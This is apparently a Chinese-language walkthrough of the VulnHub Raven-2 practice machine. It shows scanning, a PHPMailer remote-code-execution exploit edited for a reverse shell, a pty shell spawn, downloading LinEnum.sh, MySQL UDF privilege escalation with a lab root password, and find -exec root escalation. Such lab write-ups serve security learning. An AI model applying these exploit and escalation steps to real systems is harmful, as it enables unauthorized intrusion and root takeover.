VulnHub-Raven-2
靶机地址
https://www.vulnhub.com/entry/raven-2,269/
flag—1
扫描存活主机arp-scan -l
通过靶机mac地址判断IP为192.168.75.135
然后nmap扫一下,看看开放端口nmap -A -p- -v 192.168.75.135
三个开放端口,然后dirsearch扫一下目录
访问/vendor存在一个目录遍历漏洞,在PATH下找到flag1
flag—2,3
访问README.md发现存在一个phpmailer服务,并且在VERSION下看的版本为5.2.16搜了一下18以下存在PHPMailer远程命令执行漏洞本来想手工利用,但是失败了,直接利用searchsploit搜索可以利用的漏洞searchsploit PHPMailer
将python那条exp拷贝出来,然后修改目标地址和反弹shell的地址以及上传的路径
1 | cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/joker27/桌面 |
然后执行exp生成后门文件python 40974.py
监听端口,先访问http://192.168.75.135/contact.php生成后门文件,然后访问后门文件反弹成功
使用python获得一个交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'
查看权限,是一个www-data权限很低
使用命令find / -name "flag*"
直接搜索flag,查到flag2和3
flag2直接命令打开就行,flag3是一张图片在web下访问http://192.168.75.135/wordpress/wp-content/uploads/2018/11/flag3.png
即可得到,最后一个flag肯定就要提权了
flag–4(udf提权)
以前只了解但是没玩过udf提权也是拿这个靶场练练
使用LinEnum.sh对Linux进行信息搜集,项目地址:https://github.com/rebootuser/LinEnum
利用python起一个临时web服务,python3下运行python -m http.server
服务默认端口8000,利用这个服务将LinEnum.sh文件上传到靶机上运行,这个方法在Vulnhub——Ai-Web1也有运用,不知道的可以参考我前面的文章,然后使用wget远程下载sh文件
然后运行这个文件,需要加权运行
1 | chmod +x LinEnum.sh |
出来的信息很多,发现mysql是在root下运行的,其实也可以执行命令ps aux | grep root
查看以root运行的进程
所以如果数据库版本不是很高(<= 5.7.14,5.6.32,5.5.51)就可以用udf来提权,就下来就是想办法得到数据库版本,最终在如下配置文件得到mysql的账号密码
连接数据库mysql -uroot -pR@v3nSecurity
查询数据库版本
查看 secure_file_priv 的值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限
1 | show global variables like 'secure%'; |
可以使用udf提权,并且导出没做限制,kali使用命令searchsploit mysql
找到利用exp
将exp复制生成.so
文件
1 | cp /usr/share/exploitdb/exploits/linux/local/1518.c //home/joker27/桌面 |
同样用python的临时服务将.so
文件上传到靶机,接下来的步骤就是自定义一个函数
1 | use mysql |
z这里再温习一遍find提权,就是随便查找一个文件,当然这个文件得存在,对查找到的利用参数-exec
执行一个shell命令,由于find是以root运行的所以这个shell自然也就是root了